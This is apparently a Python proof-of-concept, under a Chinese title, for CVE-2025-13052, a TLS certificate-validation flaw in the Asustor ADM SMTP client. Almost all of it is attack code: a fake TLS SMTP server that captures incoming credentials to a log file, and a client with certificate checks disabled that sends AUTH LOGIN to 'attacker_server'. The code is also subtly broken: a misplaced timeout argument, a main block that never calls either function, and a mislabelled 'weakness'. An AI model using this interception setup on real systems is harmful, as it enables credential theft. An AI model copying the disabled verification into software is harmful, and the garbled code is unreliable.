CVE-2025-13052 Asustor ADM SMTP TLS证书验证不当漏洞

#!/usr/bin/env python3 """ CVE-2025-13052 PoC - Asustor ADM SMTP MITM Attack Simulation This PoC demonstrates the TLS certificate validation weakness in Asustor ADM SMTP client. Note: This is for educational and authorized testing purposes only. """ import socket import ssl import struct import time def create_fake_smtp_server(): """ Create a fake SMTP server to demonstrate MITM vulnerability. In a real attack, this would be positioned between the client and legitimate server. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Using a self-signed certificate - vulnerable system would accept this context.load_cert_chain('attacker_cert.pem', 'attacker_key.pem') # Vulnerable: Not verifying client certificates properly context.verify_mode = ssl.CERT_NONE # This is the weakness! server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', 465)) server_socket.listen(5) print("[*] Fake SMTP server listening on port 465") print("[*] Accepting connections without proper certificate validation") while True: client_socket, addr = server_socket.accept() print(f"[*] Connection from {addr}") # Handle SMTP communication and capture credentials try: ssl_socket = context.wrap_socket(client_socket, server_side=True) # Read SMTP commands data = ssl_socket.recv(1024) print(f"[*] Received: {data.decode()}") # Log captured data (in real attack, this would be credentials) log_captured_data(data) except Exception as e: print(f"[!] Error: {e}") def log_captured_data(data): """Log captured SMTP communication data""" with open('captured_smtp.log', 'a') as f: f.write(f"{time.ctime()}: {data.decode('utf-8', errors='ignore')}\n") print("[+] Data captured and logged") def simulate_vulnerable_client(): """ Simulate vulnerable Asustor ADM SMTP client behavior. Demonstrates how the client accepts invalid certificates. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) # VULNERABLE: Disabling certificate verification context.check_hostname = False context.verify_mode = ssl.CERT_NONE try: with socket.create_connection(('attacker_server', 465, timeout=10)) as sock: with context.wrap_socket(sock, server_hostname='smtp.example.com') as ssock: print("[*] Connection established (VULNERABLE - no cert verification)") print(f"[*] Server certificate: {ssock.getpeercert()}") # Send authentication (will be captured by MITM) ssock.send(b"AUTH LOGIN\r\n") ssock.send(b"\r\n") # Username ssock.send(b"\r\n") # Password except Exception as e: print(f"[!] Connection failed: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-13052 PoC - Asustor ADM SMTP TLS Validation Flaw") print("=" * 60) print("[!] WARNING: For authorized testing only") print("[*] This PoC demonstrates the MITM vulnerability in SMTP TLS handling")